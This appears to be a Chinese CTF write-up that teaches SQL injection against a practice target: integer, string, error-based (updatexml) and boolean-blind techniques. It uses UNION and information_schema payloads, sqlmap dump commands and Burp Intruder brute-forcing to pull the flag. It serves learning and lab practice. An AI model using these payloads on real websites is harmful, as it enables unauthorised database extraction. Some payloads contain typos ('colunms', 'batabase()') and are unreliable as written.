目录
注入前期了解:
注入地方可以是地址栏,也可以是一些地方的输入框。(一般情况下是在地址栏进行注入)
类型一,整型注入。
步骤1:确定注入条件
输入整数1会回显:ID:1,Data: ctfhub
输入整数2会回显:ID:2,Data: skill
输入整数3没有回显。
输入x,也没有回显。
输入1 and 1=1 有回显
输入1 and 1=2 无回显
因为数据库执行了后面and语句,所以可以判定为存在sql注入.
步骤2:测试字段数
判断到注入条件后就可以进行注入测试了。
注入条件 order by 1
1 order by 1
1 order by 2
1 order by 3
在order by 3时没有了回显,这说明这个数据库只有2个列。
步骤3:构造注入函数
确定了有两列我们就可以构造函数了。
1 union select 1,2
发现1和2处都可以构造函数
开始构造函数:
-1 union select 1,database()
这样就可以获得到我们的数据库的库名"sqli"啦。
获得库名之后就是获取表名以及字段名。
获取到的表名为:flag和news
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
最后获取列名,只需要稍微修改一下就可以,等到列名为flag。
-1 union select 1,group_concat(column_name) from information_schema.colunms where table_name='flag'
步骤4:访问数据库
就可以直接访问数据库得到数据了。
格式为:注入条件 union select 1,列名 from 库名.表名
-1 union select 1,flag from sqli.flag
类型二:字符型注入
注意:本题不知道是不是我操作的问题,在对话框输入的似乎不行,因此我是在地址栏进行注入的。例:
步骤1:确定注入条件
输入1 能发现与整型注入就不一样了,多了一对‘ ’,那么我们就可以猜测到他应该是单引号注入。
输入1' and 1=1 --+ 正常回显
输入1' and 1=2 --+ 发现没有显示信息了这说明我们的猜测是对的。
步骤2:测试字段数
判断到注入条件后就可以进行注入了
先确定列的数目
1' order by 1 --+
1' order by 2 --+
1' order by 3 --+ 无回显了
所以就可以确定列数只有两个字段。
步骤3:构造注入函数
确定了列数之后就可以构造函数了
-1' union select 1,2 --+
发现1,2都可进行构造。
然后就查询数据库:注入条件 union select 1,构造的函数 注释符号
-1' union select 1,batabase() --+
得到数据库名字:sqli
之后进行获取表名。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --+
得到表名:flag和news
最后获取列名。
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' --+
得到了列名:flag
步骤4:访问数据库
最后就可以直接访问数据库啦。
格式为:注入条件 union select 1,列名 from 库名.表名 注释符号
-1' union select 1,flag from sqli.flag --+
得到我们想要的数据。
类型三:报错注入
开始前:报错注入与一般的注入方式不一样,我们需要了解updatexml这个函数。updatexml是数据库中一个只能更新xml类型的函数,当函数里的第二个参数里有特殊符号时就会报错,因此我们可以利用其特征使数据库报错,并把我们要的数据爆出来。
步骤1:确定注入条件
输入1 显示查询正常。
输入x 会显示报错并把报错的信息显示出来。
因此这就是报错注入,对比上面的你就可以这就是报错注入漏洞的典型情况(报错会把错误数据爆出来),确定了注入条件就可以开始了。
步骤2:构造注入函数
因为报错注入不会一般的注入一样,因此我们可以忽略测试字段,直接爆破。
正常的条件 and updatexml (1,concat(特殊字符,需要爆破的库,特殊字符),1)
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
忘记截图了。得到了数据库sqli。
1 and updatexml(1,concat(0x7e,(select table_name from information.schema.tables where table_schema='sqli'),0x7e),1)
然后就会发现报错啦,惊不惊喜,意不意外^v^
这个时候我们就可以加上一个限制函数。limit 0,1 限制他显示从第0个数据开始向下取1条内容,或者和往常一样使用group_concat即可。
1 and updatexml(1,concat(0x7e,(select table_name from information.schema.tables where table_schema='sqli' limit 0,1),0x7e),1)
得到表名为flag,然后接着爆列名字。
1 and updatexml(1,concat(0x7e,(select column_name from information.schema.columns where table_name='flag' limit 0,1),0x7e),1)
最后得到列为flag。
步骤3:访问数据库
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)
就得到数据啦。这里需要注意的是,有可能会显示不完整,因此我们可以添加一个条件。
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag limit 1,1),0x7e),1)
如果第2行有数据就会显示,如果没有就不会显示。只不过本题很明显最后一个字符为'说明已经没了。
类型四:布尔盲注
开始前:碰到布尔盲注就不要想着用手工了,这东西和时间冒注我愿称之为手工注入的地狱,容易出错不说,还特耗时间,碰到直接上工具或者写代码注入不然人会傻的。
步骤1:确定注入条件
输入1 有回显,但什么信息都没有
输入1' 有报错,但什么信息都没给
输入 1 and 1=2 有报错
输入1 and 1=1 不报错,但什么都没有。
碰到这种直接上工具,不要想着手工了,真的太难顶。
方法一:使用sqlmap直接注入。
在终端中输入:
sqlmap -u 注入网站的网站 --dbs
这样就可以得到数据库名字了。
然后输入:
sqlmap -u 注入网站的网站 -D sqli --tables
之后再输入
sqlmap -u 注入网站的网站 -D sqli -T flag --columns
最后直接输入:
sqlmap -u 注入网站的网站 -D sqli -T flag -C flag --dump
就可以得到flag了
方法二:手工注入(极不推荐)
首先和步骤1一样的操作。
步骤3:确定长度
1 and (length(database()))>5
1 and (length(database()))>3
1 and (length(database()))=4
得到数据库的长度为4
步骤4:开始注入
然后再去获取数据库第一个字母的ascii。
1 and ascii(substr(database(),1,1))>100
1 and ascii(substr(database(),1,1))>120
...经过多次测试。
1 and ascii(substr(database(),1,1))=115
得到第一个字母的ascii为115.然后我们把1变为2,再次测试。
1 and ascii(substr(database(),2,1))>100
这里为了方便我直接使用了burp来注入。
先将其访问1 and ascii(substr(database(),1,1))=115然后抓包。
之后发送到intrude,之后clear,然后将115选中点击add,然后转到payloads,最后调参数如下图,推荐数字为65 到 130 这样就可以覆盖大写的A到小写的z中的所有ascii。
最后就可以start啦。
然后我们通过点击length来筛选出不同的长度,就可以知道ascii值了。
之后可以通过修改图中框选的地方继续修改
也可以将他也add变成控制变量,这里我没有这么做。然后就得到以下这些ascii:115,113,108,105.翻看ascii表就可以知道是sqli。
然后获取表也同理,先测试长度。
1 and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1)
1 and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4)
然后就可以去获取ascii了
1 and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100
直接仍burp
最终得到表名为:flag 102,108,97,103
最后就是获取列名了,像上面一样先测列
1 and (length((select column_name from information_schema.columns where table_name='flag' limit 0,1))=4)
然后就可以开始测字母了
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100
上burp
最后也是得到列名为:flag。
然后就是重头戏。拿取flag。
1 and (length((select flag from sqli.flag limit 0,1))>1)
1 and (length((select flag from sqli.flag limit 0,1))=32)
32个ascii绷不住了直接开摆。如果你想测可以给个格式你
1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))>95
先溜了,32个慢慢测,但其实使用burp设置两个变量也是挺快的。